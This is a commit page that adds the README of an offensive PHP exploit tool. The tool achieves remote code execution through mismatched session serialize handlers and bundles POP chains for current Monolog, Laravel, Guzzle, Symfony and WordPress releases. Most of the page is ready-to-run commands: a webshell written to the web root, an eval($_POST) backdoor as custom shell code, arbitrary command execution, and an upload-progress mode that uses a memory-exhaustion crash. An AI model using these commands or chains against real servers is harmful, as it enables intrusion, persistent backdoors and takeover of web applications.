Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
This commit is contained in:
@@ -0,0 +1,237 @@
|
||||
# Session Deserialization RCE via Handler Mismatch
|
||||
|
||||
Remote code execution through PHP's `session.serialize_handler` mismatch.
|
||||
No LFI required. No FPM dependency. Works on any SAPI.
|
||||
|
||||
## How It Works
|
||||
|
||||
PHP supports multiple session serialization formats. The two relevant ones:
|
||||
|
||||
- `php` (the default): stores session data as `key|serialized_value`
|
||||
- `php_serialize`: stores session data as a single `serialize()`d array
|
||||
|
||||
When one endpoint writes session data using `php_serialize` and another
|
||||
reads it using the `php` handler, the pipe character `|` inside a
|
||||
serialized string is misinterpreted as a key/value delimiter. This causes
|
||||
PHP to call `unserialize()` on attacker-controlled data when
|
||||
`session_start()` runs on the second endpoint.
|
||||
|
||||
### Attack flow
|
||||
|
||||
```
|
||||
1. Attacker POSTs to endpoint A (php_serialize handler):
|
||||
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||
|
||||
2. PHP stores this in the session file as:
|
||||
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
|
||||
|
||||
3. Attacker GETs endpoint B (php handler) with the same session ID.
|
||||
session_start() reads the file and splits on |:
|
||||
key = a:1:{s:4:"data";s:550:"
|
||||
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||
PHP calls unserialize() on the value.
|
||||
|
||||
4. The deserialized object's __destruct method fires,
|
||||
triggering the POP gadget chain for RCE.
|
||||
```
|
||||
|
||||
### What makes a target vulnerable
|
||||
|
||||
The exploit requires ALL of the following:
|
||||
|
||||
1. **Two endpoints with different session serialize handlers.** One must use
|
||||
`php_serialize`, the other must use the default `php`. PHP's own default
|
||||
is `php` for both, so this mismatch only occurs when a framework or
|
||||
application explicitly changes the handler for some endpoints.
|
||||
|
||||
2. **Shared session storage.** Both endpoints must read/write the same
|
||||
session files (same `session.save_path`). This is the default when
|
||||
both run under the same PHP installation.
|
||||
|
||||
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
|
||||
must exist in classes that PHP has loaded (via autoloader or require).
|
||||
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
|
||||
through magic methods (__destruct, __wakeup, __toString, etc.).
|
||||
|
||||
### Where this mismatch occurs in practice
|
||||
|
||||
- **Laravel** sets `session.serialize_handler = php_serialize` in its
|
||||
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
|
||||
admin scripts, health checks, legacy code) uses the PHP default `php`.
|
||||
|
||||
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
|
||||
applications on the same server may not.
|
||||
|
||||
- **Shared hosting** where multiple PHP applications share the same session
|
||||
save path but use different frameworks.
|
||||
|
||||
- **Mixed codebases** where old and new code coexist on the same domain,
|
||||
with the new code using a framework and the old code using raw PHP sessions.
|
||||
|
||||
A single-application deployment where every endpoint uses the same handler
|
||||
is NOT vulnerable to this attack.
|
||||
|
||||
## Injection Modes
|
||||
|
||||
### inject (primary)
|
||||
|
||||
The target has an endpoint that stores POST data into `$_SESSION` using
|
||||
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
|
||||
a POST value. A second request to a `php`-handler endpoint triggers
|
||||
deserialization.
|
||||
|
||||
```bash
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
### progress (no app session storage needed)
|
||||
|
||||
Uses `session.upload_progress` to inject the `|` character via the upload
|
||||
filename field. No application-level session writing needed. Combined with
|
||||
the OOM crash from CVE-2026-109618 to persist past cleanup.
|
||||
|
||||
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
|
||||
can only use public properties (no protected/private property serialization).
|
||||
|
||||
```bash
|
||||
python3 exploit.py --mode progress \
|
||||
--write-url http://target/any.php \
|
||||
--trigger-url http://target/default.php \
|
||||
--chain wordpress-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Built-in POP Chains
|
||||
|
||||
Each chain is tested end-to-end through the full HTTP exploit flow
|
||||
on PHP 8.3 against the listed library version.
|
||||
|
||||
### Current versions (work on latest releases)
|
||||
|
||||
| Chain | Library | Tested on | Type | Description |
|
||||
|---|---|---|---|---|
|
||||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
|
||||
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
|
||||
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
|
||||
|
||||
### Legacy versions
|
||||
|
||||
| Chain | Library | Tested on | Type | Description |
|
||||
|---|---|---|---|---|
|
||||
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
|
||||
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
|
||||
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
|
||||
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
|
||||
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
|
||||
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
|
||||
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
|
||||
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
|
||||
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
|
||||
|
||||
### Why some chains have version ceilings
|
||||
|
||||
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
|
||||
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
|
||||
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
|
||||
|
||||
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
|
||||
in `createClassListener()`, which calls `$this->container->make()` on a null
|
||||
container. The RCE22 chain routes through `league/commonmark` `Environment`
|
||||
instead.
|
||||
|
||||
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
|
||||
`LogicException` on deserialization.
|
||||
|
||||
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
|
||||
`BadMethodCallException`.
|
||||
|
||||
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
|
||||
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
|
||||
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
|
||||
7.x core.
|
||||
|
||||
### Custom chains
|
||||
|
||||
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
|
||||
and base64 (auto-detected).
|
||||
|
||||
```bash
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain-file chain.bin
|
||||
|
||||
# Or base64:
|
||||
phpggc Laravel/RCE22 system id -b > chain.b64
|
||||
python3 exploit.py ... --chain-file chain.b64
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# File write webshell (Monolog 3.x, current):
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain monolog3-fw \
|
||||
--write-path /var/www/html/shell.php
|
||||
|
||||
# Direct command execution (Laravel 10+, current):
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
|
||||
# Custom shell code:
|
||||
python3 exploit.py ... --chain monolog3-fw \
|
||||
--write-path /var/www/html/s.php \
|
||||
--shell-code '<?php eval($_POST["x"]); ?>'
|
||||
|
||||
# Progress mode (no POST-to-session endpoint needed):
|
||||
python3 exploit.py --mode progress \
|
||||
--write-url http://target/any_endpoint.php \
|
||||
--trigger-url http://target/default_handler.php \
|
||||
--chain wordpress-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
--mode {inject,progress} Injection mode (default: inject)
|
||||
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
|
||||
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
|
||||
--write-url URL Any endpoint for progress mode injection
|
||||
--trigger-url URL Endpoint using default php handler (triggers deserialization)
|
||||
--chain CHAIN Built-in POP chain name
|
||||
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
|
||||
--write-path PATH File path for fw chains (webshell destination)
|
||||
--shell-code CODE Custom PHP code for fw chains
|
||||
--cmd CMD Command for cmd chains
|
||||
--fields N OOM pressure fields for progress mode (default: 30000)
|
||||
--field-size N Bytes per OOM field (default: 512)
|
||||
```
|
||||
|
||||
## Test Environment
|
||||
|
||||
The test endpoints used for verification:
|
||||
|
||||
`test_serialize.php` (inject endpoint, uses php_serialize):
|
||||
```php
|
||||
<?php
|
||||
ini_set('session.serialize_handler', 'php_serialize');
|
||||
session_start();
|
||||
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
|
||||
```
|
||||
|
||||
`test_trigger.php` (trigger endpoint, uses default php handler):
|
||||
```php
|
||||
<?php
|
||||
require 'vendor/autoload.php'; // loads framework classes
|
||||
session_start(); // deserializes session data
|
||||
```
|
||||
|
||||
The mismatch between `php_serialize` on the first and `php` (default) on the
|
||||
second is what enables the attack.
|
||||
Reference in New Issue
Block a user